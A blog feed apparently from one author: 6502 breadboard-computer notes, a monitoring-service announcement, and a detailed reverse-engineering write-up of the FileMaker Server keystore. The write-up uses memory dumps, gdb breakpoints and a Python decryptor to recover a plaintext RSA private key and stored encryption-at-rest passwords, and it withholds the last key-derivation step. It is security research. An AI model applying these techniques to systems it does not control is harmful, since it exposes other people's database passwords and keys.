Try the program again by writing it to the ROM. It doesn’t work anymore since we now use subroutines but don’t have a stack where to store the return addresses. So while the microprocessor tries to store the return address before jumping to the subroutine, there’s no hardware (RAM) available to actually store that address. And then, when rts is called, there’s no way to retrieve the return address.
The 6502 expects the stack to be in the memory area 0x0100 to 0x01ff and has an 8-bit stack pointer (0x00 to 0xff, 256 bytes).
We can use txs to transfer a value from register X to the stack pointer (ldx #$ff, txs) if we want to initialize the stack pointer in the beginning (the stack grows downwards towards the lower addresses, just like on other platforms).

Part 6

Video: RAM and bus timing

Notes and steps taken:

Install 62256 RAM chip (256k bits, 32 kilobytes)
The pinout is the same as for the ROM chip, so we can just wire the address and data lines from the ROM chip to the address and data lines of the RAM chip. And the WE of the RAM can be connected to the RW pin of the 6502.
The planned address layout will be: 0x0000 to 0x3fff reserved for RAM (0x0100 to 0x1fff for stack), 0x8000 to 0xffff for ROM (as before). We cannot just give the RAM the whole upper part of the 65,535 addresses as we still have to address the interface adapter (see above).
While the RAM wouldn’t need all that space, it’s easier to build it this way; we just need to check that A15 and A14 are low to detect if we’re addressing the RAM (as this covers the addresses 0x000 to 0x3fff (0011 1111 1111 1111)).
We could wire up A14 and A15 of the microprocessor to OE (output enable, active low) and CS (chip select, active low) of the RAM as this would cause the RAM to only be active and output data whenever we’re in the above mentioned address range (with A14 high and A15 low we might still write to an area we’re not using, but it wouldn’t cause problems as we would never output that data). However, we haven’t yet looked at the timing of the microprocessor and RAM and if they would actually be compatible in our setup (as it takes some time to set up the address lines and control signals, and for the RAM to output valid data after it is addressed).
Analyse read timing waveform of the RAM and compare to timing diagram of 6502
We’re planning to run the processor at a maximum of 1 MHz and will calculate the timing based on that. So when looking at the timing diagrams mentioning nanosecond durations, we will assume that we have at least 1,000 nanoseconds in one clock-cycle.
It can take up to 70 nanoseconds for the RAM to output valid data after the addresses and control signals are set up correctly, so the microprocessor needs to wait at least this amount of time before (or continue) reading the data after setting the address. There’s also an additional timing requirement by the microprocessor where the data must be held valid. Both are confirmed to be OK after analysing both datasheets.
Trying to confirm the write sequence as well. We see that we need to make sure that CS (connected to A15 in our circuit) needs to go high before any of the other address bits change (same with RW<->WE). We cannot expect this to be true based on the information in the datasheet. And the same is true for the timing when CS and/or WE go low before the beginning of a write.
Can we slightly delay setting the CS to low after the address becomes valid and setting it to high before the address and data become invalid again? It turns out we can just tie it to the clock (phi2) because the clock rising falls into the range where the address is already valid and falls low before the address becomes invalid and RW goes high.
With two logic gates we can make sure CS goes low only when the clock is high. We can connect A15 through a NAND gate to invert it (low becomes high) and connect this output together with the clock signal as inputs to another NAND gate, thus outputting a low only when the clock is high and A15 is low (i.e. high output of the first “inverter” NAND gate). The timing of the NAND gates themselves is short enough that it does not affect our circuit.

Part 7

Video: Subroutine calls, now with RAM

Notes and steps taken:

Wire up A14 to OE, and A15 through the NAND gates to CS as described above
Tie inputs to 4th NAND gate to high; just for good measure
Improve “Hello World” program to clear screen when setting up the display in the beginning (#%00000001)

allgood.systems: Monitoring the duration of your background jobs

Tue, 26 Sep 2023 00:00:00 +0000

Since the launch of allgood.systems you were able to monitor if your background jobs, scheduled tasks, cron jobs, etc. were running whenever you expected them to be running.

This was accomplished by defining an interval on allgood and then sending a request to a check-in URL at the end of your script.

If the request didn’t arrive at the end of the specified interval, you would get a notification that your job is down.

This still works the same way. But from now on you can also choose to send an additional request at the beginning of your jobs.

This allows you to get an idea how long your jobs typically run (average, minimum and max are being displayed).

You can learn more by reading the documentation or just trying it out.

The feature is live as of now.

As always, let me know if you have additional ideas that could be helpful.

Deciphering the FileMaker Server keystore

Mon, 29 May 2023 00:00:00 +0000

Introduction

While checking out how the FileMaker Pro to Server upload feature worked, I noticed that credentials were encrypted using a RSA public key before being sent to the server.

I looked into FileMaker Server’s installation directory and found that the private key was stored in the CStore/keystore file – at least I assumed it, as the file stores keys and values, where the keys are base64-encoded strings, one of them being bWFjaGluZVByaXZhdGVLZXk=, or machinePrivateKey.

While the values are base64-encoded just like the keys, decoding them just reveals ciphertext, so you cannot really tell what you are looking at.

Next to the machinePrivateKey I saw several encoded file UUIDs which values represented the EAR (encryption at rest) “encryption password” for files hosted by the server. This became obvious when new entries appeared in the keystore after uploading encrypted files and choosing to save the password (to be able to auto-open the files after a reboot).

At this point I decided to spend some time to better understand how the keystore actually works, how secrets are protected and if I could replicate the encryption/decryption process to decipher the stored values.

In this post I want to share what I figured out, but more so show my approach (including failed attempts), so that you can hopefully benefit from it when taking on similar problems. I will talk about learning from observing the data, doing memory dumps, attaching debuggers, and a little bit of cryptography.

Some notes before you read on

I generally believe it’s useful to have a better understanding of the inner workings of the systems you’re using on a daliy basis (and maybe even depend on) – to help with troubleshooting, to be able to judge what features to use or to ignore, what risks to accept and to make sense of (sometimes odd) software behaviors. In my opinion most of these things are better publicly documented than privately/exclusively shared.

But I also talked to a couple of people and was advised to omit a few details, such that not a full decryption script is made available. In the last part I will thus skip over a few steps to keep it brief and don’t reveal the final part required to recreate the encryption key. I do, however, give pointers on where to look if you would like to try it yourself as an exercise.

If you follow along with this article, please be aware that the actions taken can damage your FMS installation and hosted databases.

Lastly, I’m not a professional reverse engineer, so there might be more straightforward ways of tackling the same problem and mine are not necessarily the best/fastest (in fact I’ve later learned many things that could have led me to the result much more quickly).

If you are still curious, please read on.

First insights by looking at the data

When you want to figure out an unknown encoding or encryption system it’s extremely helpful if you are able to observe how new data (entered by you) is encoded/encrypted.

Let’s have a look what insights can be gained just by observing data.

Opening the keystore file (which is publicly readable by default, by the way), we can identify two things quickly:

RTI2Q0M1RkJGOUEyNDQ1OEE3MzE0QjE0RUIyQkY4RTY=;9acSKigNs3IHuEikQeit1Q==
RTY2RDdBQjQ0NjgwNENCRjg2RjZCMDAxNkUwNzk3MTQ=;b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x

First, it seems the ; is the separator. And second, based on the set of characters and padding at the end, the encoding looks like base64.

To verify, we can do echo -n RTY2RDdBQjQ0NjgwNENCRjg2RjZCMDAxNkUwNzk3MTQ= | base64 -d and observe the decoded data. In this case it’s E66D7AB446804CBF86F6B0016E079714, which could be a UUID (16 bytes, in hexadecimal format). Of course, it could be other things, but in this context (identifying a file) it seems likely.

Without knowing the details of the fmp12 file format, we could still quickly peak at the raw bytes of the hosted database to determine if this ID appears somewhere at the beginning of the file. And sure it does:

$ xxd my_file.fmp12 | head -n 20
00000000: 0001 0000 0002 0001 0005 0002 0002 c048 ...............H
00000010: 4241 4d65 0000 1000 0000 0000 0000 0000 BAMe............
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
... here it starts (16 bytes from position 250):
000000f0: 0000 0000 0000 0000 0000 e66d 7ab4 4680 ...........mz.F.
00000100: 4cbf 86f6 b001 6e07 9714 efb8 6c2e 2af4 L.....n.....l.*.

Let’s now look at the part after the semicolon – the one that is more interesting, but currently looks like garbage.

Base64-decoding the two samples from above, wee see:

$ echo -n '9acSKigNs3IHuEikQeit1Q==' | base64 -d | xxd
00000000: f5a7 122a 280d b372 07b8 48a4 41e8 add5 ...*(..r..H.A...

$ echo -n 'b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x' | base64 -d | xxd
00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: e8e6 d577 30d0 eec3 4a64 655b d6e4 46b8 ...w0...Jde[..F.
00000020: fb11 4791 61a8 fc2b a544 b0b5 9262 1f31 ..G.a..+.D...b.1

While the data does not look useful at first sight, we can see that the first sample is 16 bytes long and the second one is 48 bytes long.

Setting an EAR password to another file, uploading it and storing the password on the server, we can observe different ciphertext lengths for different plaintext lengths.

If our EAR password is less than 16 bytes, we still get 16 bytes of ciphertext. If it’s greater than 16 bytes, but less than 32 bytes, we get 32 bytes of ciphertext.

We can be relatively certain that the server only encrypts full blocks of 16 bytes, suggesting a block cipher with a size of 128 bits.

Next, we can check if we get the same ciphertext on a different FileMaker Server installation. This is not the case, so the key is likely unique for every server.

How about using the same EAR password for a different database file? Does this create a different ciphertext?

After trying, we see that it does not produce a different ciphertext. This means that the file identifier does not play a role in the encryption. It also means that a static key and no initialization vector (or a static one) is used, since a different initialization vector would cause the ciphertext to be different, even if the same plaintext and key is used (assuming we have an IV and use “cipher-block chaining”; see explanation in box below).

Another good test to verify this is to encrypt two EAR passwords which have the same first 16 bytes. For example:

File 1: AAAAAAAAAAAAAAAA|AAAAAAAAAAAAAAAAAAAAAAAA
File 2: AAAAAAAAAAAAAAAA|A
 ^ 16 bytes

On my test server these two produce the following two ciphertexts:

b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x
b442h3lSslgZ66HAwoSO78+E2b55R4CaKGiFSnwfUeQ=

Or as hex:

00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: e8e6 d577 30d0 eec3 4a64 655b d6e4 46b8 ...w0...Jde[..F.
00000020: fb11 4791 61a8 fc2b a544 b0b5 9262 1f31 ..G.a..+.D...b.1

00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: cf84 d9be 7947 809a 2868 854a 7c1f 51e4 ....yG..(h.J|.Q.

You can clearly see that the first 16 bytes are exactly the same (just like the 16 bytes of the plaintext).

Normally, you would not want your ciphertext to “leak” semantic information as shown and this is something that could certainly be improved.

If you were to encrypt every block of data with the same key, identical blocks of plaintext would produce identical blocks of ciphertexts. One strategy to prevent this is to let the results of each block influence the next block (so-called “cipher-block chaining”). Here, each plaintext block is XORed with the previous ciphertext block (and subsequently encrypted).

To kickstart this process, however, you need an additional input for the first block, and this is where the initialization vector comes in. It will be used to XOR the first plaintext.

If you were to experiment more, you would see that cipher-block chaining is indeed used for the FMS keystore values, but with an initialization vector of all zeros. This way you still output the same ciphertext blocks for identical plaintext blocks at the beginning.

If you like to test this for yourself you can play around with openssl. For example:
openssl enc -aes-256-cbc -in test.txt -k <some-key-as-hex> -iv 00000000000000000000000000000000 -out test.enc.

Just read the docs

Whenever you have documentation available, make sure to read it. It might give you pointers on how to narrow down the space of things to try next.

Claris’ documentation has a statement on how passwords are stored:

When you open an encrypted file on FileMaker Server or FileMaker Cloud, you can save the password to automatically open encrypted files when the server restarts. FileMaker employs a two-way AES-256 encryption that uses a composite key based on information from the machine to encrypt the password and stores the password securely on the server.

(Unfortunately, as we will learn later, this is not entirely correct, so it’s also a good idea to second-guess/verify official information).

What do we know so far?

Let’s recap on what we learned so far by just observing data and reading the docs:

The keystore contains keys and values separated by semicolon
Keys are just base64 encoded. Values are encrypted and base64 encoded
We’re dealing with a block cipher (takes a fixed size block and outputs a block of the same size)
The docs mention AES with 256-bit key
A static (or no) initialization vector is used
A static key is used
The key is unique per installation and file IDs/properties don’t play a role here

A lazy try: just dump the memory

After looking at the data and the docs my first attempt was to test if some or all of the information of the keystore can be retrieved in unencrypted form from memory. It’s unlikely we learn anything about how data is encrypted but we can check if the server cleans up secrets after use. Also, grepping through a memory dump is not a lot of effort, so you might as well give it a shot (which is why I labeled this “a lazy try”).

My test server is running on Linux and I’m using procdump (the Linux version of the original Windows SysInternals tool).

Let’s first figure out the process ID of fmserverd with pgrep fmserverd and then dump the memory with procdump <pid>. The result is a dump with more than a gigabyte of size.

Since we know the plaintext values that the server encrypted, we can grep for these strings in the dump file.

$ strings fmserverd_time_2023-... | grep 'some EAR password'

No luck (which is a good thing, as you don’t want your secrets explosed like this). But what about the RSA private key that we expect to be the value of the key machinePrivateKey?

$ strings fmserverd_time_2023-04-23_14\:37\:25.1001 | grep 'BEGIN RSA PRIVATE' -A10

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA27LEJB8uCqezntbENVPdrV/xTnnshR2fQPWFNr3Rcr10tjBa
...

Turns out the private key is hanging out in unencrypted form in memory. Let’s check if it matches the public key file CStore/machinePublicKey.

A quick way to do this is to extract the public key from the discovered private key and then compare it to the machinePublicKey file.

openssl rsa -in machinePrivateKey.key -pubout > machinePublicKey.extracted

This gives us a public key which – by looking at it – doesn’t match the one from the FileMaker Server installation. However, this is just because it’s not in PKCS#1 format like the original one. We can convert it and see that it’s a match now:

openssl rsa -pubin -in machinePublicKey.extracted -RSAPublicKey_out -out machinePublicKey.extracted.pkcs1

What now?

If we only wanted to know the RSA private key, we would have succeeded by now. But even if we would also have gotten our other secrets in plaintext, it would not really help us as we still don’t understand how the values are encrypted, wouldn’t know what to search for when not knowing the plaintext, and don’t understand the memory structure.

So what could be the next step? Since we are anyhow dealing with memory dumps, maybe we can find the actual AES key used to encrypt the keystore values in memory?

Extracting AES keys from memory

How could we possibly find what 16 or 32 bytes are an AES key when getting handed a dump of more than gigabyte of seemingly random data?

When we put a key into AES, the key is actually expanded into so-called round keys (11 rounds for 128-bit keys, 15 for 256-bit keys). These round keys are needed for the encryption/decryption process and might thus be hanging around in memory. By checking the memory for random-looking (i.e. high entropy) byte sequences using a sliding window of the size of the so-called key schedule (all the roundkeys), it is possible to get a list of potential keys.

Here’s a good video explaining the key expansion and here’s an article describing in more detail what options are available to extract keys from memory dumps.

Since it’s kind of a long shot anyway, I didn’t spend too much time in this phase and just ran two forensic tools over the dump. One was bulk_extractor and the other aeskeyfind.

Using the tools is straight-forward. For example: bulk_extractor -E aes my_dump -o extraction_output.

While the tools found some potential AES-128-bit keys, none of them were matching or weren’t even keys at all. They could have also been from the encryption/decryption routines that go on when the server encrypts/decrypts individual pages of the opened hosted databases.

I tried once more to dump the memory multiple times during FMS startup with a lot of encrypted files being opened (which would require keystore values being decrypted) and also during repeated opening/closing of a file in a loop, but it obviously didn’t produce any detectable keys in the dumps.

Getting the key so seemlessly by running a tool would have been nice in a way, but I’m also kind of reliefed that it wasn’t that easy :-)

Looking at what the program is doing and extracting the key

Since the “lazier” attempts didn’t result in any new insights, let’s actually try to observe what the program (fmserverd) is doing.

We obviously don’t have any source code, but as the program runs on our computer, we can attach a debugger and inspect the behavior, see loaded libraries, disassemble parts of it and step through the interesting bits.

I used gdb on Linux and lldb on macOS. Please note, that on macOS you will need to disable System Integrity Protection (or remove the program’s code signature) to attach to a running process.

On our Linux server, we can start by attaching with gdb -p <pid> and on macOS with lldb -p <pid>. Luckily, the binaries are not stripped of symbols, so we can see function names and of course the exports of the libraries.

Let’s first have a look at loaded libraries of a running server instance on Linux:

(gdb) info sharedlibrary
From To Syms Read Shared Object Library
0x00007f5dea393a40 0x00007f5dea3f89af Yes (*) /lib/x86_64-linux-gnu/libc++.so.1
0x00007f5dea32e450 0x00007f5dea348ef0 Yes (*) /lib/x86_64-linux-gnu/libc++abi.so.1
0x00007f5de9a21ed0 0x00007f5dea09341d Yes /opt/FileMaker/lib/libFMSLib.so
0x00007f5de8f48560 0x00007f5de959d1f9 Yes /opt/FileMaker/lib/libFMEngine.so
0x00007f5de6e0fb60 0x00007f5de83bdf00 Yes /opt/FileMaker/lib/libDBEngine.so
0x00007f5de61fea20 0x00007f5de63496b9 Yes /opt/FileMaker/lib/libSupport.so
...

Most interesting to us are the non-standard libaries located in /opt/FileMaker/lib and of course the actual fmserverd binary.

The binaries come with some symbol information, so we can try to make sense of any of the contained function names.

Below I’m using objdump to dump the symbol table and demangle the names (we want human-readable names), and pipe the result to less to easily scroll through and search in the result.

objdump -tC <some binary> | less

Symbol information allows for much easier debugging, also when you don’t have the source code available (even if explicit debug symbols would not be available). I assume the binaries are intentially not stripped (i.e. contain symbols) in the release versions such that it’s possible to troubleshoot/debug weird behaviors on deployed systems (although, I guess, you could still keep them separate from the binary and then strip all unneeded in the relase version)

If you like to see what is included in a binary and what not, you can write a small C program, compile it with gcc and once include the -g flag, once not include the -g flag and then run strip over another compiled version. For each of the three versions, you can then run the above objdump command and see the difference.

Fun fact: I later found out that I could have retrieved much more information just by inspecting all the provided symbol information, so I believe I made it a bit harder for myself and that you can arrive at the end result faster than I describe here.

Since we are interested in the keystore, we can search for names that could be related. Such terms could be keystore, EAR, crypt, password, AES, etc.

As an example, let’s say we searched for “Password” and have identified the following symbol in libSupport:

00000000000f9a50 g F .text 0000000000000005 Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)`.

Since we still have our debugger attached, we can have a look at this function from within gdb:

(gdb) info address Draco::PasswordHash::ComputePasswordHashRawBytes
Symbol "Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)" is a function at address 0x7f5de6220a50.

If we disassemble this function we see it’s just a jump to PKCS5_PBKDF2_HMAC_SHA1.

(gdb) disas 0x7f5de6220a50
Dump of assembler code for function Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*):
 0x00007f5de6220a50 <+0>: jmpq 0x7f5de61fdab0 <PKCS5_PBKDF2_HMAC_SHA1@plt>
End of assembler dump.

And what PKCS5_PBKDF2_HMAC_SHA1 is doing, we can just look up in the openssl manual.

We still don’t know if this function is at all related to what we want to find out (there’s a lot of crypto stuff in FileMaker Server), but we can start taking notes and piece together information.

Not every function will be as short and understandable as the above and you will either need to read a lot of assembly code or could try to figure things out using a decompiled version of the function of interest (for example with Ghidra’s decompiler). For where we want to get to, we don’t really need a decompiler and can just skim the assembly code, so we will mostly just stay in gdb.

Once we have few ideas and an overview of interesting functions that could be related to the keystore, we can set breakpoints, continue running the program and then perform an action that we want to observe. I always used the opening of a hosted file (fmsadmin open <file>) as this must read the keystore file and decrypt the EAR password.

Eventually, I arrived at Draco::Encrypt_AES_decrypt which is called by Draco::KeyStorageProvider::CryptData (both in the Support lib) and is responsible for the decryption of the keystore values. Let’s see what we can learn when setting a breakpoint at this function (still in the attached debugger):

(gdb) b Draco::Encrypt_AES_decrypt
Breakpoint 1 at 0x7f5de61f8a40 (2 locations)
(gdb) c
Continuing.

With the breakpoint set, we can now open a file that has an EAR password stored in the keystore. As soon as the open command is sent, the program hits the breakpoint and stops:

Thread 49 "fmserverd" hit Breakpoint 1, 0x00007f5de61f8a40 in Draco::Encrypt_AES_decrypt(unsigned char*, int, unsigned char const*, int, unsigned int&, unsigned char const*)@plt ()
 from /opt/FileMaker/lib/libSupport.so

Since we see the @plt at the end, we need to execute one more jmp into the actual function with si (step one instruction).

@plt stands for “procedure linkage table” and is essentially a way to point to a library function which address cannot be known in the linking stage but only dynamically be resolved at run time (as far as I understand it).

Now that we are in the actual implemented function, let’s have a look what arguments are passed to it.

To do this we first check the CPU registers:

(gdb) info registers
rax 0x7f5dbf8f6078 140040622530680
rbx 0x7f5dbf8f5af4 140040622529268
rcx 0x20 32
rdx 0x7f5dd863d6c0 140041039107776
rsi 0x30 48
rdi 0x7f5dd80e0e90 140041033485968
rbp 0x7f5dbf8f5ff0 0x7f5dbf8f5ff0
rsp 0x7f5dbf8f5ed8 0x7f5dbf8f5ed8
r8 0x7f5dbf8f5f80 140040622530432
r9 0x0 0
r10 0x7f5dd8105b9c 140041033636764
r11 0x7f5dbf8f5cc8 140040622529736
r12 0x1 1
r13 0x3e5 997
r14 0x7f5dbf8f6040 140040622530624
r15 0x7f5dbf8f5fb0 140040622530480
rip 0x7f5de62217f0 0x7f5de62217f0 <Draco::Encrypt_AES_decrypt(unsigned char*, int, unsigned char const*, int, unsigned int&, unsigned char const*)>

Based on x86-64 calling conventions, we know how and in what registers functions receive their arguments from their caller (see “A.2 AMD64 Linux Kernel Conventions” in AMD64 System V Application Binary Interface).

Quoted from the linked document:

User-level applications use as integer registers for passing the sequence %rdi, %rsi, %rdx, %rcx, %r8 and %r9.

We don’t have any parameter names but we do know the signature of our discovered function (unsigned char*, int, unsigned char const*, int, unsigned int&, unsigned char const*). So let’s map the arguments:

rdi: A pointer to 0x7f5dd80e0e90
rsi: An integer with value 48
rdx: A pointer to 0x7f5dd863d6c0
rcx: An integer with value 32
r8: A pointer to 0x7f5dbf8f5f80
r9: Null

Since we only have 6 parameters, we don’t need to look at the stack for more.

Now let’s inspect the addresses in more detail.

We assume that the second and fourth parameter indicates the size of the previous parameter, as this is quite common.

Checking 48 byes from address 0x7f5dd80e0e90 (rdi):

(gdb) x/48xb 0x7f5dd80e0e90
0x7f5dd80e0e90: 0x6f 0x8e 0x36 0x87 0x79 0x52 0xb2 0x58
0x7f5dd80e0e98: 0x19 0xeb 0xa1 0xc0 0xc2 0x84 0x8e 0xef
0x7f5dd80e0ea0: 0xe8 0xe6 0xd5 0x77 0x30 0xd0 0xee 0xc3
0x7f5dd80e0ea8: 0x4a 0x64 0x65 0x5b 0xd6 0xe4 0x46 0xb8
0x7f5dd80e0eb0: 0xfb 0x11 0x47 0x91 0x61 0xa8 0xfc 0x2b
0x7f5dd80e0eb8: 0xa5 0x44 0xb0 0xb5 0x92 0x62 0x1f 0x31

If we compare this to our encrypted EAR password that we looked at earlier, it comes out as the same sequence of bytes:

$ echo -n 'b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x' | base64 -d | xxd
00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: e8e6 d577 30d0 eec3 4a64 655b d6e4 46b8 ...w0...Jde[..F.
00000020: fb11 4791 61a8 fc2b a544 b0b5 9262 1f31 ..G.a..+.D...b.1

We can be pretty sure that this argument is the ciphertext from the keystore.

What about 0x7f5dd863d6c0 (rdx)? Let check 32 bytes from there:

(gdb) x/32xb 0x7f5dd863d6c0
0x7f5dd863d6c0: 0xa5 0x10 0xc9 0xf2 0x24 0xde 0x97 0x1b
0x7f5dd863d6c8: 0x45 0x95 0x82 0xae 0xec 0x5b 0xc8 0x84
0x7f5dd863d6d0: 0x9c 0x9f 0xb1 0xa0 0x4c 0xe4 0xba 0x27
0x7f5dd863d6d8: 0x31 0x0d 0x03 0xf0 0xef 0x67 0xc6 0x27

Since we are expecting a 256-bit key, this could be it.

Now we have the values of r8 and r9 left. We don’t know about the first, but the latter is 0 (0x00).

Since we expect AES to be used in CBC mode without an initialization vector (IV), maybe this could be the “null IV”!?

We already have potentially useful information here, but let’s check what Encrypt_AES_decrypt is actually doing and if we can get any further hints.

To do this, we can disassemble the function right from GDB:

Dump of assembler code for function Draco::Encrypt_AES_decrypt(unsigned char*, int, unsigned char const*, int, unsigned int&, unsigned char const*):
=> 0x00007f5de62217f0 <+0>: push %rbp
 ...
 0x00007f5de6221855 <+101>: mov %rax,%rbx
 0x00007f5de6221858 <+104>: callq 0x7f5de61f9bf0 <EVP_aes_128_cbc@plt>
 ...
 0x00007f5de622186b <+123>: callq 0x7f5de61f8d00 <EVP_DecryptInit_ex@plt>
 ...
 0x00007f5de6221881 <+145>: callq 0x7f5de61fd870 <EVP_DecryptUpdate@plt>
 ...
 0x00007f5de62218a4 <+180>: callq 0x7f5de61fc980 <EVP_DecryptFinal_ex@plt>

I removed some instructions above to only show the interesting calls. GDB resolves the addresses and shows us calls to OpenSSL functions, for example EVP_aes_128_cbc.

We could look up the details and source code for these functions as they are publicly known.

While not a big deal, it’s a bit of a surprise to see EVP_aes_128_cbc as we were expecting EVP_aes_256_cbc as that would match what is written in Claris’ documentation.

For now, we just set another breakpoint at the first and second call, (gdb) b EVP_aes_128_cbc and (gdb) b EVP_DecryptInit_ex, and then continue running the program (c).

At this stage we just want to verify that the function is actually called (we could have also read and understand all the disassembled instructions instead).

Both breakpoints hit. And in the second one, we can actually verify our assumptions from above as we know the parameters names and their meaning for the decryption intialization function from the OpenSSL documentation.

This means we have learned so far:

AES is used in CBC mode
We have a 256 bit key, but are using EVP_aes_128_cbc and thus only use the first half of the key (probably a bug)
We know the IV is set to all zeros (16 bytes, like the block size)

Building our own decryptor

It’s time to test if the data we discovered can actually be used to independently decrypt the keystore values.

Let’s build a small Python script and re-implement what we discovered. I’m using PyCryptodome for the crypto routines.

import base64
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad


def decrypt(key, iv, ciphertext):
 decoded_ciphertext = base64.b64decode(ciphertext)

 cipher = AES.new(key, AES.MODE_CBC, iv=iv)
 plaintext = cipher.decrypt(decoded_ciphertext)

 return unpad(plaintext, 16)


def main():
 ciphertext = b'b442h3l<snip>'
 key = bytes.fromhex('a510c<snip>')
 iv = 16 * b'\x00'

 plaintext = decrypt(key[:16], iv, ciphertext)
 print(f'plaintext: {plaintext.decode()}')


if __name__ == '__main__':
 main()

Starting in main, the ciphertext is our base64-encoded string from the keystore, the key is the key we discovered via the debugging process (unique per server), and iv is just 16 null bytes (16 bytes being the block size). From the 32 byte key we only pass byte 0 to 15 to have a 128-bit key.

In the decrypt function, we first base64-decode the ciphertext, then initialize the cipher with the passed values and CBC mode.

Lastly, we decrypt the ciphertext and return the plaintext (unpadded, to remove the padding at the end that completes a full block).

Running the script successfully reveals the plaintext value (in this case the EAR password we decided to store before).

While we now have everything we need to decrypt other values on our server, our main goal was to better understand how the keystore works. And we still don’t know how the key we found was derived – it cannot be a hardcoded key, as it’s different from server to server. Let’s dig in more.

Figuring out how the key is derived

Above we saw that Encrypt_AES_decrypt already gets the key passed to it and that it is called by Draco::KeyStorageProvider::CryptData.

We can look at the CryptData function from within gdb:

(gdb) disas 'Draco::KeyStorageProvider::CryptData'

This function is certainly more involved with lots of conditional jmps and calls.

Let’s first demangle the function names to make it bit easier to browse through:

(gdb) set print asm-demangle on

Disassembling the function again and just looking at the symbols before our Encrypt_AES_decrypt and Encrypt_AES_encrypt calls, we see two names that stick out:

0x00007f77a60ec76c <+508>: callq 0x7f77a60431d0 <Draco::Machine::GetPersistentID()@plt>
...
0x00007f77a60ec947 <+983>: callq 0x7f77a603f120 <Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)@plt>

From the Claris documentation, we know that “FileMaker […] uses a composite key based on information from the machine to encrypt the password and stores the password securely on the server.”.

Since we know the Get(PersistentID) function from FileMaker Pro’s calculation environment returns a unique identifier for the current machine it is running on, we can assume that Draco::Machine::GetPersistentID() function does something similar or the same.

At the same time, we can assume that this ID goes into the “composite key based on information from the machine”.

While we can also make an assumption what the ComputePasswordHashRawBytes is doing, based on the name, we will go through the same debugging procedure as with the Encrypt_AES_decrypt function above to get more insights.

Let’s set a breakpoint, continue with the program and then close/open our sample database file again:

(gdb) b Draco::PasswordHash::ComputePasswordHashRawBytes
Breakpoint 1 at 0x7f77a603f120 (2 locations)
(gdb) c
Continuing.

Thread 49 "fmserverd" hit Breakpoint 1, 0x00007f77a603f120 in Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)@plt () from /opt/FileMaker/lib/libSupport.so
(gdb) disas
Dump of assembler code for function _ZN5Draco12PasswordHash27ComputePasswordHashRawBytesEPKcjPKhjiiPh@plt:
=> 0x00007f77a603f120 <+0>: jmpq *0x2b076a(%rip) # 0x7f77a62ef890 <Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)@got.plt>
 0x00007f77a603f126 <+6>: pushq $0x10f
 0x00007f77a603f12b <+11>: jmpq 0x7f77a603e020
End of assembler dump.

We step again into the actual function and then have a look at the arguments being passed. We know the signature, so let’s map the register values:

(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)

rdi: 0x7f778c01a5c0
rsi: 0x10 (or 16 in decimal)
rdx: 0x7f779c250f70
rcx: 0x08 (8)
r8: 0x3e5 (997)
r9: 0x20 (32)

The seventh argument is passed on the stack, so let’s look at the value on the stack after the return address (stack pointer is in $rsp and we skip the first 8 bytes):

(gdb) x/xg $rsp+8
0x7f779c250ed0: 0x00007f779c250f00

Let’s take a look what values can be found at the addresses pointed to by the first, third and seventh argument:

The first argument is 16 bytes in length, but is certainly not an ascii string (look at it with x/16xb 0x7f778c01a5c0).

The third argument can indeed be interpreted as a string and points to fmserver (if we spent more time looking at CryptData we learn that this string and the 997 are the username/id acquired via getpwuid).

The seventh argument contains data we don’t understand yet and might very well just be the address where the result goes.

Let’s disassemble the body of the function now:

(gdb) disas
Dump of assembler code for function Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*):
=> 0x00007f77a6066a50 <+0>: jmpq 0x7f77a6043ab0 <PKCS5_PBKDF2_HMAC_SHA1@plt>
End of assembler dump.

We can see that the program is calling OpenSSL’s PKCS5_PBKDF2_HMAC_SHA1.

Looking at the documentation, we know what each argument is and can now also make sense of the arguments we deciphered above:

int PKCS5_PBKDF2_HMAC_SHA1(const char *pass, int passlen,
 const unsigned char *salt, int saltlen, int iter,
 int keylen, unsigned char *out);

The password is the 16 bytes at 0x7f778c01a5c0, the salt is fmserver, the iterations are 997 and the key length is 32.

PBKDF2 is a common key derivation function, which is used here to create the key for decrypting the keystore value.

PBKDF2 stands for Password-Based Key Derivation Function 2. It takes a pseudorandom function (such as HMAC-SHA1, as we see above), a password, a salt, a key length and an iteration count. In short, it computes a hash from the salt and a block iteration count, using the given password as key. In the first iteration, it builds another hash using the password as key and the previous hash result as message. These two hashes are then XORd. What follows is a loop of creating a new hash from the previous hash, XORing it again with the previous XOR result, and so on. This is done for the number of iterations specified (here 997) and for each necessary block of the hash length to reach the length of the desired key (here 2 as the hash output of SHA-1 is 20 bytes, but we request a 32 byte key) . For more details see the Key derivation process explained on Wikipedia.

